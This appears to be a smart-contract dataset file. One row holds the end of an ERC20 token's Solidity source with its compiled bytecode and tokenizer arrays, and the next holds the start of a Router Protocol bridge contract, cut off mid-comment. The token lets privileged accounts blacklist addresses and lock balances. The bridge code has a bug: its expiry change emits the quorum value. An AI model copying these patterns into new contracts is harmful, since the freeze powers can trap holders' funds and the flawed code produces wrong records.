_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212200cfdaec9b12ed0c678fa0f5c08b85564f32a98e77a7f33811ba20bbe059cd1c064736f6c63430007030033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
10354,
2278,
2692,
2581,
10322,
2546,
2629,
2278,
2475,
14141,
18827,
2581,
6679,
9468,
2063,
2581,
2475,
2063,
22932,
2683,
19797,
2629,
2497,
2549,
2497,
29097,
2683,
2050,
1013,
1008,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1019,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,487 | 0x953b335124fc4dc81916d3423c0130daefad6108 | // SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "./interfaces/IVoterUpgradeable.sol";
import "./interfaces/IERC20Upgradeable.sol";
import "./interfaces/IDepositExecute.sol";
import "./interfaces/ILiquidityPool.sol";
import "./interfaces/IERCHandler.sol";
import "./interfaces/IERCHandlerDecimals.sol";
import "./interfaces/IGenericHandler.sol";
import "./interfaces/IWETH.sol";
/**
@title Facilitates deposits, creation and voting of deposit proposals, and deposit executions.
@author Router Protocol
*/
contract BridgeUpgradeable is
Initializable,
PausableUpgradeable,
AccessControlUpgradeable,
UUPSUpgradeable,
ReentrancyGuardUpgradeable
{
function fetch_chainID() public view virtual returns (uint8) {
return _chainID;
}
function fetch_expiry() public view virtual returns (uint256) {
return _expiry;
}
function fetch_whitelistEnabled() public view virtual returns (bool) {
return _whitelistEnabled;
}
function fetch_depositCounts(uint8 _id) public view virtual returns (uint64) {
return _depositCounts[_id];
}
function fetch_resourceIDToHandlerAddress(bytes32 _id) public view virtual returns (address) {
return _resourceIDToHandlerAddress[_id];
}
function fetch_proposals(bytes32 _id) public view virtual returns (uint256) {
return _proposals[_id];
}
function fetch_whitelist(address _beneficiary) public view virtual returns (bool) {
return _whitelist[_beneficiary];
}
function GetProposalHash(
uint8 chainID,
uint64 depositNonce,
bytes32 dataHash
) public pure virtual returns (bytes32) {
bytes32 proposalHash = keccak256(abi.encodePacked(chainID, depositNonce, dataHash));
return proposalHash;
}
function HasVotedOnProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 dataHash
) public view virtual returns (bool) {
bytes32 proposalHash = keccak256(abi.encodePacked(chainID, depositNonce, dataHash));
uint256 id = _proposals[proposalHash];
return _voter.Voted(id, msg.sender);
}
// View Functions
// Data Structure Starts
uint8 private _chainID;
uint256 private _expiry;
bool private _whitelistEnabled;
bytes32 public constant FEE_SETTER_ROLE = keccak256("FEE_SETTER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant RESOURCE_SETTER = keccak256("RESOURCE_SETTER");
bytes32 public constant EMERGENCY_ROLE = keccak256("EMERGENCY_ROLE");
uint256 public totalRelayers;
uint64 public _quorum;
IVoterUpgradeable public _voter;
// enum ProposalStatus { Inactive, Active, Passed, Executed, Cancelled }
mapping(uint8 => uint64) private _depositCounts;
mapping(bytes32 => address) private _resourceIDToHandlerAddress;
mapping(bytes32 => uint256) private _proposals;
mapping(address => bool) private _whitelist;
mapping(uint256 => proposalStruct) private _proposalDetails;
struct proposalStruct {
uint8 chainID;
uint64 depositNonce;
bytes32 dataHash;
bytes32 resourceID;
}
// Data Structure Ends
event quorumChanged(uint64 quorum);
event expiryChanged(uint256 expiry);
event ProposalEvent(
uint8 originChainID,
uint64 depositNonce,
IVoterUpgradeable.ProposalStatus status,
bytes32 dataHash
);
event ProposalVote(
uint8 originChainID,
uint64 depositNonce,
IVoterUpgradeable.ProposalStatus status,
bytes32 dataHash
);
event Deposit(uint8 indexed destinationChainID, bytes32 indexed resourceID, uint64 indexed depositNonce);
event Stake(address indexed staker, uint256 amount, address pool);
event Unstake(address indexed unstaker, uint256 amount, address pool);
event FeeSetterAdded(address feeSetter);
event FeeSetterRemoved(address feeSetter);
event AddedWhitelist(address whitelistAddress);
event RemovedWhitelist(address whitelistAddress);
event WhitelistingSetting(bool status);
event AdminWithdraw(address handler, address tokenAddress, address recipient, uint256 amountOrTokenID);
event Settlement(
uint8 indexed originChainID,
uint64 indexed depositNonce,
address settlementToken,
uint256 settlementAmount,
IVoterUpgradeable.ProposalStatus status
);
/**
@notice RelayerAdded Event
@notice Creates a event when Relayer Role is granted.
@param relayer Address of relayer.
*/
event RelayerAdded(address relayer);
/**
@notice RelayerRemoved Event
@notice Creates a event when Relayer Role is revoked.
@param relayer Address of relayer.
*/
event RelayerRemoved(address relayer);
// Modifier Section Starts
modifier onlyAdminOrRelayer() {
require(
hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(RELAYER_ROLE, msg.sender),
"sender is not relayer or admin"
);
_;
}
modifier isWhitelisted() {
if (_whitelistEnabled) {
require(_whitelist[msg.sender], "address is not whitelisted");
}
_;
}
modifier isWhitelistEnabled() {
require(_whitelistEnabled, "BridgeUpgradeable: White listing is not enabled");
_;
}
modifier isResourceID(bytes32 _id) {
require(_resourceIDToHandlerAddress[_id] != address(0), "BridgeUpgradeable: No handler for resourceID");
_;
}
modifier isProposalExists(
uint8 chainID,
uint64 depositNonce,
bytes32 dataHash
) {
bytes32 proposalHash = keccak256(abi.encodePacked(chainID, depositNonce, dataHash));
require(_proposals[proposalHash] != 0, "BridgeUpgradeable: Proposal Already Exists");
_;
}
// Modifier Section ends
receive() external payable {}
// Upgrade Section Starts
/**
@notice Initializes Bridge, creates and grants {msg.sender} the admin role,
creates and grants {initialRelayers} the relayer role.
@param chainID ID of chain the Bridge contract exists on.
@param quorum Number of votes needed for a deposit proposal to be considered passed.
*/
function initialize(
uint8 chainID,
uint256 quorum,
uint256 expiry,
address voter
) external initializer {
__AccessControl_init();
__Pausable_init();
// Constructor Fx
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_voter = IVoterUpgradeable(voter);
_chainID = chainID;
_quorum = uint64(quorum);
_expiry = expiry;
// Constructor Fx
}
function _authorizeUpgrade(address newImplementation) internal virtual override onlyRole(DEFAULT_ADMIN_ROLE) {}
// Upgrade Section Ends
// Access Control Section Starts
/**
@notice grantRole function
@dev Overrides the grant role in accessControl contract.
@dev If RELAYER_ROLE is granted then it would mint 1 voting token as voting weights.
@dev The Token minted would be notional and non transferable type.
@param role Hash of the role being granted
@param account address to which role is being granted
*/
function grantRole(bytes32 role, address account)
public
virtual
override
nonReentrant
onlyRole(getRoleAdmin(role))
{
super.grantRole(role, account);
if (role == RELAYER_ROLE && _voter.balanceOf(account) == 0 ether) {
_voter.mint(account);
totalRelayers = totalRelayers + 1;
emit RelayerAdded(account);
}
}
/**
@notice revokeRole function
@dev Overrides the grant role in accessControl contract.
@dev If RELAYER_ROLE is revoked then it would burn 1 voting token as voting weights.
@dev The Token burned would be notional and non transferable type.
@param role Hash of the role being revoked
@param account address to which role is being revoked
*/
function revokeRole(bytes32 role, address account)
public
virtual
override
nonReentrant
onlyRole(getRoleAdmin(role))
{
super.revokeRole(role, account);
if (role == RELAYER_ROLE && _voter.balanceOf(account) == 1 ether) {
_voter.burn(account);
totalRelayers = totalRelayers - 1;
emit RelayerRemoved(account);
}
}
// Access Control Section Ends
// Whitelist Section Starts
/**
@dev Adds single address to _whitelist.
@param _beneficiary Address to be added to the _whitelist
*/
function addToWhitelist(address _beneficiary) public virtual onlyRole(DEFAULT_ADMIN_ROLE) isWhitelistEnabled {
_whitelist[_beneficiary] = true;
emit AddedWhitelist(_beneficiary);
}
/**
@dev Removes single address from _whitelist.
@param _beneficiary Address to be removed to the _whitelist
*/
function removeFromWhitelist(address _beneficiary) public virtual onlyRole(DEFAULT_ADMIN_ROLE) isWhitelistEnabled {
_whitelist[_beneficiary] = false;
emit RemovedWhitelist(_beneficiary);
}
/**
@dev setWhitelisting whitelisting process.
*/
function setWhitelisting(bool value) public virtual onlyRole(DEFAULT_ADMIN_ROLE) {
_whitelistEnabled = value;
emit WhitelistingSetting(value);
}
// Whitelist Section Ends
// Pause Section Starts
/**
@notice Pauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function pause() public virtual onlyRole(PAUSER_ROLE) whenNotPaused {
_pause();
}
/**
@notice Unpauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function unpause() public virtual onlyRole(PAUSER_ROLE) whenPaused {
_unpause();
}
// Pause Section Ends
// Ancilary Admin Functions Starts
/**
@notice Modifies the number of votes required for a proposal to be considered passed.
@notice Only callable by an address that currently has the admin role.
@param newQuorum Value {newQuorum} will be changed to.
@notice Emits {quorumChanged} event.
*/
function adminChangeQuorum(uint256 newQuorum) public virtual onlyRole(DEFAULT_ADMIN_ROLE) {
_quorum = uint64(newQuorum);
emit quorumChanged(_quorum);
}
/**
@notice Modifies the block expiry for a proposal.
@notice Only callable by an address that currently has the admin role.
@param newExpiry will be new value of _expiry.
@notice Emits {expiryChanged} event.
*/
function adminChangeExpiry(uint256 newExpiry) public virtual onlyRole(DEFAULT_ADMIN_ROLE) {
_expiry = newExpiry;
emit expiryChanged(_quorum);
}
/**
@notice Sets a new resource for handler contracts that use the IERCHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetResource(
address handlerAddress,
bytes32 resourceID,
address tokenAddress
) public virtual onlyRole(RESOURCE_SETTER) {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IERCHandler handler = IERCHandler(handlerAddress);
handler.setResource(resourceID, tokenAddress);
}
/**
@notice Sets a new resource for handler contracts that use the IERCHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param tokenAddress token contract for setting config.
@param destinationChainID destinationChainID to be used when setting config.
@param decimals decimals for token on target chain.
*/
function adminSetTokenDecimals(
address handlerAddress,
address tokenAddress,
uint8 destinationChainID,
uint8 decimals
) public virtual onlyRole(RESOURCE_SETTER) {
IERCHandlerDecimals handler = IERCHandlerDecimals(handlerAddress);
handler.setTokenDecimals(tokenAddress, destinationChainID, decimals);
}
function adminSetOneSplitAddress(address handlerAddress, address contractAddress)
public
virtual
onlyRole(DEFAULT_ADMIN_ROLE)
{
IERCHandler handler = IERCHandler(handlerAddress);
handler.setOneSplitAddress(contractAddress);
}
/**
@notice Creates new liquidity pool
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param tokenAddress Address of token for which pool needs to be created.
*/
function adminSetLiquidityPool(
string memory name,
string memory symbol,
uint8 decimals,
address handlerAddress,
address tokenAddress,
address lpAddress
) public virtual onlyRole(DEFAULT_ADMIN_ROLE) {
IERCHandler handler = IERCHandler(handlerAddress);
handler.setLiquidityPool(name, symbol, decimals, tokenAddress, lpAddress);
}
function adminSetLiquidityPoolOwner(
address handlerAddress,
address newOwner,
address tokenAddress,
address lpAddress
) public virtual onlyRole(DEFAULT_ADMIN_ROLE) {
IERCHandler handler = IERCHandler(handlerAddress);
handler.setLiquidityPoolOwner(newOwner, tokenAddress, lpAddress);
}
/**
@notice Sets a new resource for handler contracts that use the IGenericHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetGenericResource(
address handlerAddress,
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
uint256 depositFunctionDepositerOffset,
bytes4 executeFunctionSig
) public virtual onlyRole(RESOURCE_SETTER) {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IGenericHandler handler = IGenericHandler(handlerAddress);
handler.setResource(
resourceID,
contractAddress,
depositFunctionSig,
depositFunctionDepositerOffset,
executeFunctionSig
);
}
/**
@notice Sets a resource as burnable for handler contracts that use the IERCHandler interface.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param status Boolean flag to change burnable status.
*/
function adminSetBurnable(
address handlerAddress,
address tokenAddress,
bool status
) public virtual onlyRole(DEFAULT_ADMIN_ROLE) {
IERCHandler handler = IERCHandler(handlerAddress);
handler.setBurnable(tokenAddress, status);
}
/**
@notice Used to manually withdraw funds from ERC safes.
@param handlerAddress Address of handler to withdraw from.
@param tokenAddress Address of token to withdraw.
@param recipient Address to withdraw tokens to.
@param amount the amount of ERC20 tokens to withdraw.
*/
function adminWithdraw(
address handlerAddress,
address tokenAddress,
address recipient,
uint256 amount
) public virtual nonReentrant onlyRole(EMERGENCY_ROLE) {
IERCHandler handler = IERCHandler(handlerAddress);
handler.withdraw(tokenAddress, recipient, amount);
emit AdminWithdraw(handlerAddress, tokenAddress, recipient, amount);
}
/**
@notice Used to manually withdraw funds from ERC safes.
